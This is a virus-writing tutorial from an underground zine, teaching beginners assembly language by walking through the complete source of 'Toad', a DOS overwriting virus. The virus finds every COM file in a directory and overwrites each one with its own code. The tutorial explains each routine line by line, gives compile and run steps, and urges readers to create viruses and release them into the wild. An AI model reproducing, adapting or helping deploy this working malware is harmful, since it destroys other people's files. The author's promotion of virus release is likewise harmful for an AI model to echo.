Lesson 1
                            The Overwriting Virus
                                      By
                                  Horny Toad

	I spent many days pondering what would be the best and most effective way to teach a 
beginner how to write virii.  I could start off with an in-depth lesson on assembly language, but I 
am sure that it would bore you to tears without having a practical example of what I was talking 
about.  I have looked at many of the virus writing tutorials and frankly, I am not pleased with the 
method, the way that they begin a person's adventure on the road to virus creation. 
	Dark Angel's guide to virus writing is definitely helpful, but it begins with the 
assumption that you know how to code assembly.  He also doesn't touch on the most basic type 
of virus, the COM overwriting virus.  This most basic type of virus should be taken advantage of 
due to its very forgiving code structure.  It is an easy to understand small virus, therefore allowing 
the beginner to grasp all of the basic structures of an assembly program and still retain a majority 
of the techniques that are used in more advanced creations.  However advanced a virus' delivery 
system is or its stealth anti-anti-virus defenses are, it still needs to use the standard read, write, 
and comparing functions.
	I have also taken a glance at many of the other tutorials and magazines that are floating 
around the web and found that they are mainly designed for the intermediate to advanced 
programmer.  This is a major gripe that I have today and, in my opinion, a key reason for the 
decline in virus writing advances and individuality.  There was a boom in '89 - '91 in the virus 
community.  Many firsts were coming out.  Code optimization was an issue and major concern.  
The tighter the code, the more efficient the virus.  Currently, I am seeing a large number of hacks 
of old virii and not enough new concepts and initiative.  My approach to teaching virus writing 
will be to go back and start with the basics.  Through a procedural process, the beginner will learn 
assembly by seeing the discussed techniques in an actual application.  I will also allow the 
beginner to activate the virii without destroying his system.  When I have written a virus, I will 
activate it on my own system.  I know the inner workings of the virus so well that I have no fears 
that it will get out of control.  That is something that I demand of my previous students in writing 
virii.  Before you release a virus out in the wild, make sure that you know what it does, how to 
stop it just in case, and finally, know whether or not it really works.  I can't believe how many 
times I have downloaded virus code that doesn't work.  Here you have people distributing code 
that has no hope of even compiling!  These people are the AV shithead's wet dream; they are 
doing the AV's work for them.  They are also allowing others to study your code that doesn't 
work, quite the viscous  circle if you think about it.  Oh well, enough preaching.  I told you to 
slap me if I start to ramble on so much.  Let's get on to your first lesson, your first virus!



Virus #1


I hope this doesn't sound confusing, but assembly is both very difficult and very easy to 
understand.  If you take the basic concepts one step at a time and see them in action, I am 
confident that you will have no problems.  Assembly is very difficult in the fact that it is a very 
unforgiving computer language to learn.  I swear that every time I write even the most simple of 
programs, I am always holding my breath while TASM is doing its work.  The slightest error in 
your code can be disastrous at compiling time.  Assembly programs are also difficult in the fact 
that you are dealing with a low-level language.  When I write C++, VBA, and PASCAL 
programs, I use a wide variety of state of the art processing and application software which 
allows easy manipulation, organization, and error correcting of my code.  On the other hand, 
when you work with assembly, you get a little more down and dirty and personal with the 
computer.  For the most part, the compiling and creation programs for assembly are all DOS 
based, rather than the pretty windows environment that we are usually used to seeing.  Assembly 
is easy in the fact that, when used correctly, most code is very structured and organized through 
the use of tight procedures and subroutines.  As I will show you in this first lesson, it is very easy 
to identify routines within the program as to what their global function is in its execution.

Here is a listing of the instructional virus that I have written.  Keep in mind that no major 
attempts have been made at breaking any world records with this virus, it is purely for 
instructional purposes.  We will go through every piece of it so, by the end of the lesson, it will 
look very familiar and be completely understandable.  Don't get discouraged when you first see 
this, it will become clear soon enough.


code    segment                 
        assume  cs:code,ds:code      
        org     100h
toad    proc    near

first_fly:
	  mov     ah,4eh
find_fly:
        xor     cx,cx                                   
        lea     dx,comsig                                      
        int     21h
        jc      wart_growth             

open_fly:
        mov     ax,3d02h        
        mov     dx,9eh          
        int     21h

eat_fly: 
        xchg    bx,ax            
        mov     ah,40h
        mov     cx,offset horny - offset first_fly          
        lea     dx,first_fly      
        int     21h

stitch_up:
        mov     ah,3eh           
        int     21h
	  mov     ah,4fh
	  jmp     find_fly

wart_growth:
	  mov     ah,09h
	  mov     dx,offset wart
	  int     21h

cya:    int     20h             

comsig  db      "*.com",0
wart    db      'Congratulations! You have infected all the COM files 
in this ',10,13
	  db      'directory with the Toad instructional virus. Have a 
nice day.',10,13,'$'	
horny   label   near
toad    endp
code    ends
        end     first_fly


       

That's it.  Are you still with me?  This is the base code that we will be dealing with for our first 
virus.  I am going to divide this virus up into separate pieces and we will learn the individual parts 
and what they do for the virus.

Initially, our virii will be using the COM file format.  The COM file is an older type of file format 
than the EXE format, but a lot easy to understand and a good place to start off with.  A COM file 
is limited in the size that it can take up.  It can only be one segment long, or 65,536 bytes.  At 
first, when dealing with overwriting virii, this size limitation will not be a concern for us.  In 
future lessons, when we start working with appending virii, size limitations will play a big part in 
deciding which files we want to infect or leave alone.  The TOAD virus that is in lesson 1 will 
show you the general format of the COM file.  When looking at the actual instructions and 
directives, don't worry too much about the actual spaces between words and lines.  Try to follow 
the general format of the TOAD virus because I have tried to stay with most of the programming 
conventions in assembly.  The more and more code that you read, the better that you will get.



========================================================


code    segment

The segment directive defines the parameters for a segment.  In this instance we are defining the 
code segment.  All of the executable code, the meat of our program will lie inside of the code 
segment.  This segment does not necessarily have to be named "code" segment, but it is only 
logical, and a good programming convention, to name it the "code" segment.  If we were dealing 
with a larger program, one that had many procedures of external calls, we would definitely want 
to define a specific segment as our data segment separate from the code.  Since this is a very 
small piece of code, the two will be intermixed.


========================================================


assume  cs:code,ds:code


The assume directive lies within the code segment and matches the name that you gave your 
segment, such as code, with associated register.  In our program, we are stating that the code and 
data segment registers will be associated with the "code" segment.  What does this mean?  
Basically we are still setting up the parameters of our COM file.  We are following convention by 
defining where things are in our program and how they are set up.  What is the CS and DS 
registers?  The code segment register is going to contain the starting address of your programs 
code segment.  Essentially, it tells your computer where to begin to look for your executable 
code.  Another register that I might as well bring up is the IP or instruction pointer register.  The 
job of the IP is to contain the offset address of the next line of code that is to be executed.  What 
is an offset address?  An offset address is not a true address of a line in your program, rather a 
value of the distance away from a given point.  If you put two concepts together, the code 
segment register added to the instruction point register will give you the next executable line in 
your program.  The CS will stay constant as the IP counts up the lines of code.


========================================================


org     100h

I would like you to commit this to memory - since we are making COM files the org 100h 
directive will always follow the assume directive.  This directive is telling the computer that your 
COM file is located ad 100 hex or 256 bytes.  This 100 hex distance is actually an offset directly 
after the PSP or program segment prefix (See Appendix 2 for an example of the PSP format).  
The value 100h is placed in the IP, telling the computer where to begin.  PSP contains 
information about your program and is created in memory when the program is loaded.  In other 
words, the PSP is not a permanent structure that is saved with the program.  I am going to end the 
discussion on the PSP for now, due to the fact that we will be referencing it later on in the 
program for information of the host we want our virus to infect.


========================================================


toad    proc    near

Although not actually necessary, I am including a procedure directive to demonstrate good 
programming convention.  A procedure is essentially a subroutine within the code segment.  
Larger virii will contain many procedures, which can be called upon to perform a certain task.  
Give the procedure a name and specify it near.  When we get into larger programs that deal with 
calling procedures in different segments, we will experiment with the FAR specifier.  For now, I 
wanted to include this so you would recognize the directive if you see it again in other code 
examples.


========================================================


first_fly:

        mov     ah,4eh

Now we get to the meat of the program, the actual virus.  If you take a look at the virus as a 
whole, you can see that I have labeled different routines throughout the code.  Each one of these 
routines has a specific function within the code.  The labels should be descriptive as to what they 
accomplish or do.  The first on happens to be labeled first_fly.  This reminds me that this is the 
routine that finds a file to infect.  The label also allows the program to jump to it if you need to 
execute the routine again.

Oh no, the dreaded topic is now with us: registers.  What in the world is a register?  First I'll 
explain what a register is, and then I will try to put them into an understandable perspective.  The 
basic concept of registers is very easy to understand.  The aspect that makes registers difficult 
occurs when you think that you are getting a grasp at using them, therefore, we will stick with the 
basics.  A register is used to initiate instructions to the computer to execute a desired action.  A 
register can be used to address memory and provide basic arithmetic functions.  Registers are also 
used for the handling of data input and output.  The four general registers that we will be using in 
this virus are AX, BX, CX, and DX (See Appendix 1 for a list of other registers).  The 
accumulator register, or AX, is used for input/output operations and arithmetic calculations.  BX, 
or the base register is used for calculations and can be used as an index to extend addressing.  CX, 
or the count register can also be used for calculations and also as a control counter for loop 
operations.  DX is the data register which like AX is used for input/output operations and 
multiplying and dividing operations which use large numbers.  Terrific, now what does all of this 
mean?  My grandfather had this old antique calculator that weighed about one hundred pounds.  
What you did was push these big old buttons down and pulled a large lever back, which made the 
calculations and printed the answer on a piece of paper.  Visualize this: the numbers that you are 
pushing on the calculator are just like setting values in the general registers, as far as input/output 
operations are concerned.  With each, you are giving the machine a set of conditions, information 
to process.  The big lever on the calculator is like the dos interrupts.  Just as you would pull the 
lever to get an answer, the interrupts initiate the computer to process the conditions that you have 
set in the general registers and give appropriate output.  This is a very simplistic view of how the 
registers work, but if you at least grasp the concept, you are doing great!

Oh, let's get back on track with this routine.  As I said before, the purpose of the get_fly routine is 
to find a file to infect.  Actually, the exact output will be to find the first file in the directory that 
has the attributes we want.  Therefore, we need to load the conditions into the general registers 
and execute an interrupt.  One thing that I failed to mention about the general registers is that they 
are all 16 bit registers with a high and a low portion each 8 bits a piece.  AX divides into its 
high/low portions as such: AH for the high portion, and AL for the low portion, each being 8 bits.  
All of the general registers follow the same breakdown: BH - BL, CH - CL, and DH - DL.  The 
values that need to be loaded into the general registers for this routine are 4e hex into AH, CX 
needs to be zero in order to set normal file attributes, and finally, DX needs a string containing 
the file specs we are looking for.  In order to move the value 4e hex into AH we use the MOV 
command.  The MOV command transfers the value of the second operand to the first without 
changing the value of the second operand.  In other words, MOV AH, 4eh should read "move the 
value 4e hex into AH".


===========================================================



find_fly:
xor     cx,cx

The next task that we need to do is zero the value of CX.  This can be done two ways.  The 
obvious way, which you probably already guessed, would be to MOV CX, 0, which would work.  
As I mentioned before, virus writers need to try to optimize and tighten their code, therefore the 
command that uses the least amount of space should be used.  The MOV CX, 0 takes 3 bytes of 
space, while the XOR CX, CX takes only 2 bytes.  XOR or "exclusive or" is a logical instruction 
that, when both operands are equal, the first operand is cleared to zero.  Anyway, as long as you 
understand the concept, I'm happy.


===========================================================


lea     dx,comsig 

The next thing we need to do is load the string with the file specs we are looking for into DX.  
The file specs that we are looking for are COM files.  The string is therefore *.COM.  This is a 
wildcard search for any file with the extension ".COM" at the end of it.  The string is defined at 
the comsig address in the data segment of our virus.  In order to move this string into DX, we 
need to LEA DX, comsig, or <L>oad the <E>ffective <A>ddress of comsig into DX.  We could 
also use the MOV command for this operation, which would look like this - MOV DX, offset 
comsig.  This essentially does the same thing by loading the offset of the address of comsig into 
DX.


===========================================================



int     21h

The INT command executes the desired function that you have set up.  Avoiding much of the 
detail, the program halts and the interrupt vector table is accessed for the address of your 
specified interrupt.  There are 256 possible interrupts, although, if you add all the possibilities 
there are with different register settings, there are hundreds of instructions that can be initiated. 
See Ralf Brown's Interrupt List (address for list is mentioned in article 10 - "Need Further Help") 
for a listing of all the interrupts.  As I mentioned before, the interrupt is executing the routine that 
we have specified through the loading of the general registers.  Now it is time to process the 
output.



===========================================================



jc      wart_growth

Our next instruction will be the conditional jump.  Just like it sounds, if certain conditions are 
met, the offset of wart_growth, in this example, is added to the IP and the program continues 
functioning at location wart_growth, which is user defined.  There are many conditional jumps 
that exist.  Scroll down to Appendix 3 to view examples of the other conditional jumps.  There is 
also an unconditional jump, JMP that jumps regardless of existing conditions.  The jump 
instruction can be used as a way to skip over data or execute another routine.  In this instance we 
perform a check to see if certain conditions exits.  Once the interrupt has been completed from the 
previous line, if a program was found, the carry flag is set to zero, if not it is set to one.  The JC 
command checks to see if the carry flag is set to one.  If so, it jumps to wart_growth and executes 
the command at that offset.  If the carry flag is set to zero, signifying that a program was found, 
the jump is ignored and the next line is executed.  All right, all right, calm down... I realize you 
are probably saying, "Toad, what the hell is a flag?"  Flags will be dealt with in detail in the next 
issue of the magazine, but for now, the flags hold the current status of the computer and the 
processing that has been done.  Among many of their uses, flags can be used to save or test 
certain conditions that the computer is currently set at.  Understand?



=============================================================



open_fly:
        mov     ax,3d02h        
        mov     dx,9eh          
        int     21h
        

Ok, assuming that our virus was successful in finding a COM file in the directory, we now need 
to open the file. This is accomplished by an int 21 with the following general register settings:  
First 3d hex needs to be loaded into Alt.  AL needs to be loaded with a certain access code.  We 
will be using code 02h to open the file in read/write mode.  00h in AL would open it in read only 
and 01h in AL would be write only.  Remember that AX is a 16-bit register consisting of two 
portions, AH and AL.  We can therefore load both values in at the same time.  We do this by 
loading AX with 3d02h.  Remember to always use the hex values so that you don't get them 
confused.  A common mistake is to execute these simple dos interrupts without putting the "h" 
after int 21.  The computer would read this and have a shit fit because you were using a decimal 
value.  Stay cool, stay hex.  Once AX is taken care of, we move onto DX.  DX needs to be loaded 
with the ASCIIZ string, which is the file name of the poor bastard we are about to infect.  I can 
hear it now... "What the hell is 9eh, it sure doesn't look like a file name to me?"  Relax.  9e hex 
is not a string; rather it is an offset to the address containing the string.  9e hex is located within 
the PSP that we talked about earlier, in an area called the DTA or <D>isk <T>ransfer <A>rea.  
Remember that the PSP starts at 00h.  The address for the beginning of the DTA is 80 hex.  
Within the DTA is information on the file that was found in the previous routine.  What we need 
is the file name, which is located at offset 1eh from the beginning of the DTA.  If we add these 
offsets together, we get 9eh.  Load 9e hex into the DX register.  We now execute an int 21h to 
execute the routine.


==============================================================



eat_fly: 
 	  xchg    bx,ax
        mov     ah,40h
        mov     cx,offset horny - offset first_fly 
        lea     dx,first_fly      
        int     21h

The task that we are now dealing with is the actual infection of the opened file.  For this we will 
be using int 21h with 40 h loaded in Alt.  In the previous routine, when the file was opened, the 
computer assigned the file a unique file handle and placed it in AX.  Unfortunately, we need that 
file handle in BX for the write record function.  Easy enough...All we do is MOV BX, AX, right?  
Correct, that would work although, we are still worried about optimizing.  I would therefore like 
to take the time to introduce a new directive, Xchg or exchange.  This command allows us to 
exchange data between two registers, which is exactly what we want to do.  We also save 1 byte 
using the xchg rather than the MOV.  Every bit (or should I say Byte) counts.  CX needs to be 
loaded with the amount of bytes that we want to write.  Instead of a numerical amount, we are 
going to cheat and let the computer figure out the distance between offsets of assigned labels.  We 
are telling the computer that the amount of the distance from first_fly to horny is the amount of 
bytes we want to write.  Finally, DX needs to be loaded with the address of from which we want 
to write.  The address of first_fly is loaded into DX.  This is the beginning of the code that we 
want written to the infected file.  Do the familiar int 21h and the infection is complete.


===========================================================



stitch_up:
        mov     ah,3eh           
        int     21h
        mov	    ah,4fh
	  jmp	    find_fly


Now that the file is infected, we need to close up the file with int 21h and 3e hex in AH.  Since 
we already put the file handle in BX, we don't have to worry about that. Now our virus will start 
to look for the next file to infect.  We load 4f hex in ah and jump back to the rest of the finding 
file routing.  You will see that we use the same general register loads for this routine.  The entire 
TOAD virus is one big loop.  It continues on infecting one file after another until the carry flag is 
set to one, indicating that no further files were found.  A message is then displayed and the virus 
terminates. 

===================================================================


wart_growth:
	  mov     ah,9
	  mov     dx,offset wart
	  int     21h

The next routine can actually be deleted and the virus would still work.  All that wart_growth 
does is display a message on the screen.  This is done by an int 21h with 09h loaded into AH.  
The address of the string, which is defined later in the virus, that we want to display to the screen 
needs to be loaded into DX, which you already know how to do.  After the message is displayed 
to the screen, signifying the end of the virus, the next line (cya) is executed.


==================================================================



cya:    int     20h

After the message is displayed, the virus needs to terminate operation.  Loading 4CH into AH and 
doing an int 21h does this.  You will also see int 20h being used to terminate a program, but this 
is an old obsolete interrupt, although, it still does work.  Use either.  When using int 20h, no 
registers need to be set.


==================================================================


comsig  db      "*.com",0

wart    db      'Congratulations! You have infected all the COM files 
in this',10,13
	     db      'directory with the Toad instructional virus. Have a 
nice day.',10,13,'$'

We now get to the easy section of the virus, the data section.  This is where we define our data.  
The first thing that we are going to define is comsig.  This is my signature of a COM file, the 
wildcard character (*) and the ".com" extension.  We use the define byte, of DB, to define a 
string, which is located within parenthesis.  The string cannot go past the end of the line.  When 
assigning "*.com" to comsig, place a comma and 0 to signify the end of the string.  When 
assigning the character string to wart, I have included the 10 and 13 at the end of each line.  What 
this does is advance to the next line.  If, after the first line, the 10 and 13 were omitted, the two 
strings would run together and print to screen together.  The $ at the end of the second line ends 
the string.



===================================================================


horny   label   near

Horny is a label within the toad procedure.  Its only real purpose is to act as an addressable offset 
for defining the length of virus code to infect the file with.  There are a number of other uses for 
the label directive, which we will cover in a later lesson.


===================================================================


toad    endp
code    ends
end     first_fly

 The next three lines essentially close up the virus code.  "Toad endp" terminates the toad 
procedure that was initiated with "toad proc near."  "Code ends" defines the end of the code 
segment.  If I had defined a data segment, I would have ended it with "data ends."  The end 
directive marks the end of the virus.  First_fly indicates to the computer where to start execution 
of the code, which should be somewhere in the code segment.  Sorry for the brevity of the 
description of the final lines, but they really are simple, they are completing, or closing up the 
beginning lines of our virus code. 

================================================================


One thing that I might as well mention now is commenting your code.  Putting comments in your 
source code helps you to remember what each routing, line, and instruction does.  This may not 
be very important when you are dealing with a virus that is under a page long, but when you start 
writing longer more in depth code, you might need little comments implanted here and there to 
remind you what each section does.  The symbol that initiates a comment is the semi-colon.  If 
you remember the old basic REM statement, everything after the indicator is not executed.  In 
fact, the assembler does not even compile the comments, so there is absolutely no reason that you 
shouldn't put in pages of comments.  Here is an example:

find_fly:                                 
        xor     cx,cx                     ;zero out value of cx              
        lea     dx,comsig                 ;load our com file signature                     
        int     21h			      ;do the good ole dos inter
        jc      wart_growth               ;no more files found/message


================================================================


Compiling and Unleashing the Toad Virus

Well, congratulations, you have finished the first lesson in virus writing.  My goal at the 
beginning of this tutorial was to introduce you to the most basic type of virus, the overwriting 
virus.  Through this introduction, I also wanted to explain some of the basic assembly instructions 
and directives.  I feel that I have done both.  Understand that you will not be an expert virus 
programmer after reading this text, rather you will have taken your first step on the adventure of 
creating wonderful virii.

The next step for you to do is compile this virus and watch it infect a file.  The program that you 
will be using to compile the source code is TASM.  TASM is a very awesome compiler.  Please, 
do not use MASM.  The linker program that you will be using is TLINK, which turns the 
compiler's output into an executable program.  It really doesn't matter which editor that you use 
to type the asm file with.  You can actually use any word processor that you want.  When it 
comes time to compiling the virus, switch to dos and follow the instructions below.  I would like 
for you to type the virus out yourself, but I have included a zipped directory, create, that contains 
the coded asm file.  In order to compile the virus, save the virus as an ".asm" file.  With TASM in 
the same directory, type:

C:\>tasm toad.asm  (You can actually do this from any directory that you want)

The result should be:

Turbo Assembler Version 2.01

Assembling file:         toad.asm
Error Messages:          none
Warning Messages:        none
Passes:                  1
Remaining Memory:        418k (or something similar)


If there was an error in the code, TASM will indicate it in the error messages line.  If you have 
typed the code in yourself and there is an error, revert back to the file "toad.asm" and take a look 
at my code, it works. If there are too many problems with your code and you'd just like to see 
how all this stuff works, switch to the "create" directory and type the above instructions again.  
There is a copy of the "toad.asm" and TASM and TLINK in this directory. What TASM has done 
is convert the ASM file into an OBJ file.  In order to get an executable COM file, we need to use 
the linker.  Type:

C:\>tlink /t toad.obj

Tlink will return TOAD.COM in the current directory.  You now have a virus in front of you.  
Don't get scared, it won't bite.  Now you will need to move the virus from the current directory to 
the pond directory. Type:

C:\>copy toad.com c:\pond\

Then type :

C:\>cd ..\pond

This will move you to the pond directory.  Now list the contents of the directory by typing:

C:\pond>dir

You will see that there are two files in this directory, TOAD.COM and FLY.COM.  TOAD.COM 
is your virus and FLY.COM is the file that you are going to infect.  FLY.COM is just a simple 
COM file that does absolutely nothing.  Easy prey! Take a note of the size of the two files, 6 and 
180.  Now unleash the virus by typing:

C:\pond>toad

The message that we defined in wart will be displayed.  Now list the contents of the directory 
again.  You will now see that both of the files are the same size.  FLY.COM is now infected.  
Unfortunately, you will now see the downsides of this form of virus; it infects all COM files in 
the current directory regardless of whether or not they have already been infected.  In future 
issues of the magazine, I will show you techniques of checking whether a file has already been 
infected.  If all your attempts to compile and link the toad virus fail, I have included a compiled 
copy of the toad virus and many fly.com files in the TOAD directory.  Change to the TOAD 
directory and type toad.  The fly files will become infected. 




===============================================================





Appendix 1 - The Registers


 AX     Accumulator
 BX     Base register
 CX     Counting register
 DX     Data register
 DS     Data Segment register
 ES     Extra Segment register
 SS     Stack Segment register
 CS     Code Segment register
 BP     Base Pointers register
 SI     Source Index register
 DI     Destiny Index register
 SP     Stack Pointer register
 IP     Next Instruction Pointer register
 F      Flag register










Appendix 2 - The PSP (from Ralf Brown's Interrupt List)

Format of Program Segment Prefix (PSP):
Offset	Size	Description	(Table 1032)
 00h  2 BYTEs	INT 20 instruction for CP/M CALL 0 program termination
		the CDh 20h here is often used as a signature for a valid PSP
 02h	WORD	segment of first byte beyond memory allocated to program
 04h	BYTE	(DOS) unused filler
		(OS/2) count of fake DOS version returns
 05h	BYTE	CP/M CALL 5 service request (FAR CALL to absolute 000C0h)
		BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh
 06h	WORD	CP/M compatibility--size of first segment for .COM files
 08h  2 BYTEs	remainder of FAR JMP at 05h
 0Ah	DWORD	stored INT 22 termination address
 0Eh	DWORD	stored INT 23 control-Break handler address
 12h	DWORD	DOS 1.1+ stored INT 24 critical error handler address
 16h	WORD	segment of parent PSP
 18h 20 BYTEs	DOS 2+ Job File Table, one byte per file handle, FFh = closed
 2Ch	WORD	DOS 2+ segment of environment for process (see #1033)
 2Eh	DWORD	DOS 2+ process's SS:SP on entry to last INT 21 call
 32h	WORD	DOS 3+ number of entries in JFT (default 20)
 34h	DWORD	DOS 3+ pointer to JFT (default PSP:0018h)
 38h	DWORD	DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)
		used by SHARE in DOS 3.3
 3Ch	BYTE	DOS 4+ (DBCS) interim console flag (see AX=6301h)
		Novell DOS 7 DBCS interim flag as set with AX=6301h
		(possibly also used by Far East MS-DOS 3.2-3.3)
 3Dh	BYTE	(APPEND) TrueName flag (see INT 2F/AX=B711h)
 3Eh	BYTE	(Novell NetWare) flag: next byte initialized if CEh
		(OS/2) capabilities flag
 3Fh	BYTE	(Novell NetWare) Novell task number if previous byte is CEh
 40h  2 BYTEs	DOS 5+ version to return on INT 21/AH=30h
 42h	WORD	(MSWindows3) selector of next PSP (PDB) in linked list
		Windows keeps a linked list of Windows programs only
 44h	WORD	(MSWindows3) "PDB_Partition"
 46h	WORD	(MSWindows3) "PDB_NextPDB"
 48h	BYTE	(MSWindows3) bit 0 set if non-Windows application (WINOLDAP)
 49h	BYTE	unused by DOS versions <= 6.00
 4Ch	WORD	(MSWindows3) "PDB_EntryStack"
 4Eh  2 BYTEs	unused by DOS versions <= 6.00
 50h  3 BYTEs	DOS 2+ service request (INT 21/RETF instructions)
 53h  2 BYTEs	unused in DOS versions <= 6.00
 55h  7 BYTEs	unused in DOS versions <= 6.00; can be used to make first FCB
		  into an extended FCB
 5Ch 16 BYTEs	first default FCB, filled in from first commandline argument
		overwrites second FCB if opened
 6Ch 16 BYTEs	second default FCB, filled in from second commandline argument
		  overwrites beginning of commandline if opened
 7Ch  4 BYTEs	unused
 80h 128 BYTEs	commandline / default DTA
		command tail is BYTE for length of tail, N BYTEs for the tail,
		  followed by a BYTE containing 0Dh








Appendix 3 - Examples of various JUMP commands

JA	- Jump if Above
JAE	- Jump if Above/Equal         
JB	- Jump if Below
JBE	- Jump if Below/Equal
JC	- Jump if Carry
JE	- Jump if Equal
JG	- Jump if Greater
JGE	- Jump if Greater/Equal
JL	- Jump if Less
JLE	- Jump if Less/Equal
JMP	- Jump
JNA	- Jump if Not Above
JNAE	- Jump if Not Above/Equal

There are many other jump commands.  In the next edition of the mag, I will include a detailed reference of 
all the jump commands and the flags that are tested.  The understanding of how this command works is 
very important.